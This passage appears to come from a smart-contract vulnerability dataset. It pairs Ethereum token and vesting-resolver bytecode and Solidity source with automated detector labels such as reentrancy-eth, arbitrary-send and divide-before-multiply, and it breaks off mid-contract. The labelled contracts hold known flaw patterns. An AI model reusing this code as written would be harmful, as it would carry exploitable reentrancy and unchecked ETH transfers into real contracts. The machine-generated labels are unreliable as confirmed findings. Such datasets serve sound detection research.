0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb146102fc578063b515566a1461031c578063c3c8cd801461033c578063dd62ed3e14610351578063e8078d941461039757600080fd5b80637d1db4a5146102585780638a8c523c1461026e5780638da5cb5b1461028357806395d89b41146102ab57806398d24403146102dc57600080fd5b8063313ce567116100e7578063313ce567146101db57806339c96774146101f75780636fc3eaec1461020e57806370a0823114610223578063715018a61461024357600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268476f6f73652043617760b81b60208201525b60405161015f91906115b7565b60405180910390f35b34801561017457600080fd5b50610188610183366004611631565b6103ac565b604051901515815260200161015f565b3480156101a457600080fd5b506101ad6103c3565b60405190815260200161015f565b3480156101c757600080fd5b506101886101d636600461165d565b6103e3565b3480156101e757600080fd5b506040516008815260200161015f565b34801561020357600080fd5b5061020c61044c565b005b34801561021a57600080fd5b5061020c61062d565b34801561022f57600080fd5b506101ad61023e36600461169e565b610638565b34801561024f57600080fd5b5061020c61065a565b34801561026457600080fd5b506101ad600e5481565b34801561027a57600080fd5b5061020c6106ce565b34801561028f57600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102b757600080fd5b50604080518082019091526008815267474f4f534543415760c01b6020820152610152565b3480156102e857600080fd5b5061020c6102f73660046116bb565b61070d565b34801561030857600080fd5b50610188610317366004611631565b6107ad565b34801561032857600080fd5b5061020c6103373660046116ea565b6107ba565b34801561034857600080fd5b5061020c61090e565b34801561035d57600080fd5b506101ad61036c3660046117af565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103a357600080fd5b5061020c61091f565b60006103b9338484610a99565b5060015b92915050565b60006103d16008600a6118e2565b6103de90620f42406118f1565b905090565b60006103f0848484610bbd565b610442843361043d85604051806060016040528060288152602001611aa4602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ea4565b610a99565b5060019392505050565b6000546001600160a01b0316331461047f5760405162461bcd60e51b815260040161047690611910565b60405180910390fd5b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104c630826104b96008600a6118e2565b61043d90620f42406118f1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610504573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105289190611945565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610575573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105999190611945565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060a9190611945565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b61063647610ede565b565b6001600160a01b0381166000908152600260205260408120546103bd90610f18565b6000546001600160a01b031633146106845760405162461bcd60e51b815260040161047690611910565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161047690611910565b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107375760405162461bcd60e51b815260040161047690611910565b6001811161074457600080fd5b610772606461076c836107596008600a6118e2565b61076690620f42406118f1565b90610f9c565b9061101e565b600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b60006103b9338484610bbd565b6000546001600160a01b031633146107e45760405162461bcd60e51b815260040161047690611910565b60005b815181101561090a57600c5482516001600160a01b039091169083908390811061081357610813611962565b60200260200101516001600160a01b0316141580156108645750600d5482516001600160a01b039091169083908390811061085057610850611962565b60200260200101516001600160a01b031614155b801561089b5750306001600160a01b031682828151811061088757610887611962565b60200260200101516001600160a01b031614155b156108f8576001600660008484815181106108b8576108b8611962565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061090281611978565b9150506107e7565b5050565b61063661091a30610638565b611060565b6000546001600160a01b031633146109495760405162461bcd60e51b815260040161047690611910565b600c546001600160a01b031663f305d719473061096581610638565b60008061097a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a079190611991565b5050600d8054600160b01b60ff60b01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9691906119bf565b50565b6001600160a01b038316610afb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610476565b6001600160a01b038216610b5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610476565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610476565b6001600160a01b038216610c835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610476565b60008111610ce55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610476565b6001600160a01b03831660009081526006602052604090205460ff1615610d0b57600080fd5b60036009556002600a556000546001600160a01b03848116911614801590610d4157506000546001600160a01b03838116911614155b15610e9457600d546001600160a01b038481169116148015610d715750600c546001600160a01b03838116911614155b8015610d9657506001600160a01b03821660009081526005602052604090205460ff16155b15610dc057600e54811115610daa57600080fd5b600d54600160a01b900460ff16610dc057600080fd5b600c546001600160a01b03848116911614801590610df757506001600160a01b03831660009081526005602052604090205460ff16155b15610e1d57600d546001600160a01b0390811690831603610e1d5760036009556002600a555b6000610e2830610638565b600d54909150600160a81b900460ff16158015610e535750600d546001600160a01b03858116911614155b8015610e685750600d54600160b01b900460ff165b15610e9257610e7681611060565b4767016345785d8a0000811115610e9057610e9047610ede565b505b505b610e9f8383836111da565b505050565b60008184841115610ec85760405162461bcd60e51b815260040161047691906115b7565b506000610ed584866119e1565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561090a573d6000803e3d6000fd5b6000600754821115610f7f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610476565b6000610f896111e5565b9050610f95838261101e565b9392505050565b600082600003610fae575060006103bd565b6000610fba83856118f1565b905082610fc785836119f8565b14610f955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610476565b6000610f9583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611208565b600d805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110a8576110a8611962565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611101573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111259190611945565b8160018151811061113857611138611962565b6001600160a01b039283166020918202929092010152600c5461115e9130911684610a99565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611197908590600090869030904290600401611a1a565b600060405180830381600087803b1580156111b157600080fd5b505af11580156111c5573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b610e9f838383611236565b60008060006111f261132d565b9092509050611201828261101e565b9250505090565b600081836112295760405162461bcd60e51b815260040161047691906115b7565b506000610ed584866119f8565b600080600080600080611248876113ac565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061127a9087611409565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112a9908661144b565b6001600160a01b0389166000908152600260205260409020556112cb816114aa565b6112d584836114f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131a91815260200190565b60405180910390a3505050505050505050565b6007546000908190816113426008600a6118e2565b61134f90620f42406118f1565b90506113766113606008600a6118e2565b61136d90620f42406118f1565b6007549061101e565b8210156113a35760075461138c6008600a6118e2565b61139990620f42406118f1565b9350935050509091565b90939092509050565b60008060008060008060008060006113c98a600954600a54611518565b92509250925060006113d96111e5565b905060008060006113ec8e878787611567565b919e509c509a509598509396509194505050505091939550919395565b6000610f9583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea4565b6000806114588385611a8b565b905083811015610f955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610476565b60006114b46111e5565b905060006114c28383610f9c565b306000908152600260205260409020549091506114df908261144b565b30600090815260026020526040902055505050565b6007546115019083611409565b600755600854611511908261144b565b6008555050565b600080808061152c606461076c8989610f9c565b9050600061153f606461076c8a89610f9c565b90506000611557826115518b86611409565b90611409565b9992985090965090945050505050565b60008080806115768886610f9c565b905060006115848887610f9c565b905060006115928888610f9c565b905060006115a4826115518686611409565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156115e4578581018301518582016040015282016115c8565b818111156115f6576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a9657600080fd5b803561162c8161160c565b919050565b6000806040838503121561164457600080fd5b823561164f8161160c565b946020939093013593505050565b60008060006060848603121561167257600080fd5b833561167d8161160c565b9250602084013561168d8161160c565b929592945050506040919091013590565b6000602082840312156116b057600080fd5b8135610f958161160c565b6000602082840312156116cd57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156116fd57600080fd5b823567ffffffffffffffff8082111561171557600080fd5b818501915085601f83011261172957600080fd5b81358181111561173b5761173b6116d4565b8060051b604051601f19603f83011681018181108582111715611760576117606116d4565b60405291825284820192508381018501918883111561177e57600080fd5b938501935b828510156117a35761179485611621565b84529385019392850192611783565b98975050505050505050565b600080604083850312156117c257600080fd5b82356117cd8161160c565b915060208301356117dd8161160c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561183957816000190482111561181f5761181f6117e8565b8085161561182c57918102915b93841c9390800290611803565b509250929050565b600082611850575060016103bd565b8161185d575060006103bd565b8160018114611873576002811461187d57611899565b60019150506103bd565b60ff84111561188e5761188e6117e8565b50506001821b6103bd565b5060208310610133831016604e8410600b84101617156118bc575081810a6103bd565b6118c683836117fe565b80600019048211156118da576118da6117e8565b029392505050565b6000610f9560ff841683611841565b600081600019048311821515161561190b5761190b6117e8565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561195757600080fd5b8151610f958161160c565b634e487b7160e01b600052603260045260246000fd5b60006001820161198a5761198a6117e8565b5060010190565b6000806000606084860312156119a657600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119d157600080fd5b81518015158114610f9557600080fd5b6000828210156119f3576119f36117e8565b500390565b600082611a1557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a6a5784516001600160a01b031683529383019391830191600101611a45565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a9e57611a9e6117e8565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ce95f5841323bdb98ec2fe47f8234be1857177d3b9731bca272a61f7460901464736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
562
0x01f09038c19c68aa79dc0508f28d25a33cfdc579
/** *Submitted for verification at Etherscan.io on 2021-06-14 */ /** *Submitted for verification at Etherscan.io on 2021-06-09 */ // Sources flattened with hardhat v2.3.0 https://hardhat.org // File @openzeppelin/contracts/math/[email protected] // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File contracts/InstaVestingResolver.sol interface TokenInterface { function balanceOf(address account) external view returns (uint); function delegate(address delegatee) external; function transfer(address dst, uint rawAmount) external returns (bool); } interface InstaVestingInferface { function owner() external view returns(address); function recipient() external view returns(address); function vestingAmount() external view returns(uint256); function vestingBegin() external view returns(uint32); function vestingCliff() external view returns(uint32); function vestingEnd() external view returns(uint32); function lastUpdate() external view returns(uint32); function terminateTime() external view returns(uint32); } interface InstaVestingFactoryInterface { function recipients(address) external view returns(address); } contract InstaTokenVestingResolver { using SafeMath for uint256; TokenInterface public constant token = TokenInterface(0x6f40d4A6237C257fff2dB00FA0510DeEECd303eb); // InstaVestingFactoryInterface public constant factory = InstaVestingFactoryInterface(0x3730D9b06bc23fd2E2F84f1202a7e80815dd054a); InstaVestingFactoryInterface public immutable factory; constructor(address factory_) { factory = InstaVestingFactoryInterface(factory_); } struct VestingData { address recipient; address vesting; address owner; uint256 vestingAmount; uint256 vestingBegin; uint256 vestingCliff; uint256 vestingEnd; uint256 lastClaimed; uint256 terminatedTime; uint256 vestedAmount; uint256 unvestedAmount; uint256 claimedAmount; uint256 claimableAmount; } function getVestingByRecipient(address recipient) external view returns(VestingData memory vestingData) { address vestingAddr = factory.recipients(recipient); return getVesting(vestingAddr); } function getVesting(address vesting) public view returns(VestingData memory vestingData) { if (vesting == address(0)) return vestingData; InstaVestingInferface VestingContract = InstaVestingInferface(vesting); uint256 vestingBegin = uint256(VestingContract.vestingBegin()); uint256 vestingEnd = uint256(VestingContract.vestingEnd()); uint256 vestingCliff = uint256(VestingContract.vestingCliff()); uint256 vestingAmount = VestingContract.vestingAmount(); uint256 lastUpdate = uint256(VestingContract.lastUpdate()); uint256 terminatedTime = uint256(VestingContract.terminateTime()); uint256 claimedAmount; uint256 claimableAmount; uint256 vestedAmount; uint256 unvestedAmount; if (block.timestamp > vestingCliff) { uint256 time = terminatedTime == 0 ? block.timestamp : terminatedTime; if (time > vestingEnd) { vestedAmount = vestingAmount; if (lastUpdate > vestingEnd) { claimableAmount = 0; claimedAmount = vestedAmount; } else { claimableAmount = vestingAmount.mul(time - lastUpdate).div(vestingEnd - vestingBegin); claimedAmount = vestedAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin); } } else { vestedAmount = vestingAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin); claimableAmount = vestingAmount.mul(time - lastUpdate).div(vestingEnd - vestingBegin); claimedAmount = vestedAmount.mul(time - vestingBegin).div(vestingEnd - vestingBegin); } unvestedAmount = vestingAmount.sub(vestedAmount); } vestingData = VestingData({ recipient: VestingContract.recipient(), owner: VestingContract.owner(), vesting: vesting, vestingAmount: vestingAmount, vestingBegin: vestingBegin, vestingCliff: vestingCliff, vestingEnd: vestingEnd, lastClaimed: lastUpdate, terminatedTime: terminatedTime, vestedAmount: vestedAmount, unvestedAmount: unvestedAmount, claimedAmount: claimedAmount, claimableAmount: claimableAmount }); } }
0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806367c61b8e14610051578063c45a015514610081578063cc49ede71461009f578063fc0c546a146100cf575b600080fd5b61006b60048036038101906100669190610a4f565b6100ed565b6040516100789190610de0565b60405180910390f35b6100896101b3565b6040516100969190610d4a565b60405180910390f35b6100b960048036038101906100b49190610a4f565b6101d7565b6040516100c69190610de0565b60405180910390f35b6100d7610823565b6040516100e49190610d65565b60405180910390f35b6100f5610951565b60007f0000000000000000000000003b05a5295aa749d78858e33ece3b97bb3ef4f02973ffffffffffffffffffffffffffffffffffffffff1663eb820312846040518263ffffffff1660e01b81526004016101509190610d2f565b60206040518083038186803b15801561016857600080fd5b505afa15801561017c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101a09190610a78565b90506101ab816101d7565b915050919050565b7f0000000000000000000000003b05a5295aa749d78858e33ece3b97bb3ef4f02981565b6101df610951565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156102195761081e565b600082905060008173ffffffffffffffffffffffffffffffffffffffff1663e29bc68b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561026657600080fd5b505afa15801561027a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061029e9190610aca565b63ffffffff16905060008273ffffffffffffffffffffffffffffffffffffffff166384a1931f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156102ee57600080fd5b505afa158015610302573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103269190610aca565b63ffffffff16905060008373ffffffffffffffffffffffffffffffffffffffff1663f3640e746040518163ffffffff1660e01b815260040160206040518083038186803b15801561037657600080fd5b505afa15801561038a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ae9190610aca565b63ffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff1662728f766040518163ffffffff1660e01b815260040160206040518083038186803b1580156103fd57600080fd5b505afa158015610411573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104359190610aa1565b905060008573ffffffffffffffffffffffffffffffffffffffff1663c04637116040518163ffffffff1660e01b815260040160206040518083038186803b15801561047f57600080fd5b505afa158015610493573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b79190610aca565b63ffffffff16905060008673ffffffffffffffffffffffffffffffffffffffff166348f2f1fa6040518163ffffffff1660e01b815260040160206040518083038186803b15801561050757600080fd5b505afa15801561051b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053f9190610aca565b63ffffffff1690506000806000808742111561067c5760008086146105645785610566565b425b9050898111156105e3578792508987111561058757600093508294506105de565b6105b08b8b036105a28984038b61083b90919063ffffffff16565b6108ab90919063ffffffff16565b93506105db8b8b036105cd8d84038661083b90919063ffffffff16565b6108ab90919063ffffffff16565b94505b610665565b61060c8b8b036105fe8d84038b61083b90919063ffffffff16565b6108ab90919063ffffffff16565b92506106378b8b036106298984038b61083b90919063ffffffff16565b6108ab90919063ffffffff16565b93506106628b8b036106548d84038661083b90919063ffffffff16565b6108ab90919063ffffffff16565b94505b610678838961090190919063ffffffff16565b9150505b604051806101a001604052808c73ffffffffffffffffffffffffffffffffffffffff166366d003ac6040518163ffffffff1660e01b815260040160206040518083038186803b1580156106ce57600080fd5b505afa1580156106e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107069190610a78565b73ffffffffffffffffffffffffffffffffffffffff1681526020018e73ffffffffffffffffffffffffffffffffffffffff1681526020018c73ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561078357600080fd5b505afa158015610797573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bb9190610a78565b73ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018b81526020018981526020018a8152602001878152602001868152602001838152602001828152602001858152602001848152509b5050505050505050505050505b919050565b736f40d4a6237c257fff2db00fa0510deeecd303eb81565b60008083141561084e57600090506108a5565b600082840290508284828161085f57fe5b04146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790610dc0565b60405180910390fd5b809150505b92915050565b60008082116108ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e690610da0565b60405180910390fd5b8183816108f857fe5b04905092915050565b600082821115610946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093d90610d80565b60405180910390fd5b818303905092915050565b604051806101a00160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600081359050610a0a81610ea1565b92915050565b600081519050610a1f81610ea1565b92915050565b600081519050610a3481610eb8565b92915050565b600081519050610a4981610ecf565b92915050565b600060208284031215610a6157600080fd5b6000610a6f848285016109fb565b91505092915050565b600060208284031215610a8a57600080fd5b6000610a9884828501610a10565b91505092915050565b600060208284031215610ab357600080fd5b6000610ac184828501610a25565b91505092915050565b600060208284031215610adc57600080fd5b6000610aea84828501610a3a565b91505092915050565b610afc81610e0d565b82525050565b610b0b81610e0d565b82525050565b610b1a81610e59565b82525050565b610b2981610e7d565b82525050565b6000610b3c601e83610dfc565b91507f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006000830152602082019050919050565b6000610b7c601a83610dfc565b91507f536166654d6174683a206469766973696f6e206279207a65726f0000000000006000830152602082019050919050565b6000610bbc602183610dfc565b91507f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008301527f77000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6101a082016000820151610c2c6000850182610af3565b506020820151610c3f6020850182610af3565b506040820151610c526040850182610af3565b506060820151610c656060850182610d20565b506080820151610c786080850182610d20565b5060a0820151610c8b60a0850182610d20565b5060c0820151610c9e60c0850182610d20565b5060e0820151610cb160e0850182610d20565b50610100820151610cc6610100850182610d20565b50610120820151610cdb610120850182610d20565b50610140820151610cf0610140850182610d20565b50610160820151610d05610160850182610d20565b50610180820151610d1a610180850182610d20565b50505050565b610d2981610e3f565b82525050565b6000602082019050610d446000830184610b02565b92915050565b6000602082019050610d5f6000830184610b11565b92915050565b6000602082019050610d7a6000830184610b20565b92915050565b60006020820190508181036000830152610d9981610b2f565b9050919050565b60006020820190508181036000830152610db981610b6f565b9050919050565b60006020820190508181036000830152610dd981610baf565b9050919050565b60006101a082019050610df66000830184610c15565b92915050565b600082825260208201905092915050565b6000610e1882610e1f565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b6000610e6482610e6b565b9050919050565b6000610e7682610e1f565b9050919050565b6000610e8882610e8f565b9050919050565b6000610e9a82610e1f565b9050919050565b610eaa81610e0d565b8114610eb557600080fd5b50565b610ec181610e3f565b8114610ecc57600080fd5b50565b610ed881610e49565b8114610ee357600080fd5b5056fea2646970667358221220deb09c78bbf627dafcc3836eaf55d98a6a413b09356db84c736475ecd0f1ebae64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
563
0x19d256b3073f1e571a1902f78fc00ba47f0c5c9f
/** *Submitted for verification at Etherscan.io on 2022-04-17 */ /** * CawSwap * Lock LP one month */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CawSwap is Context, 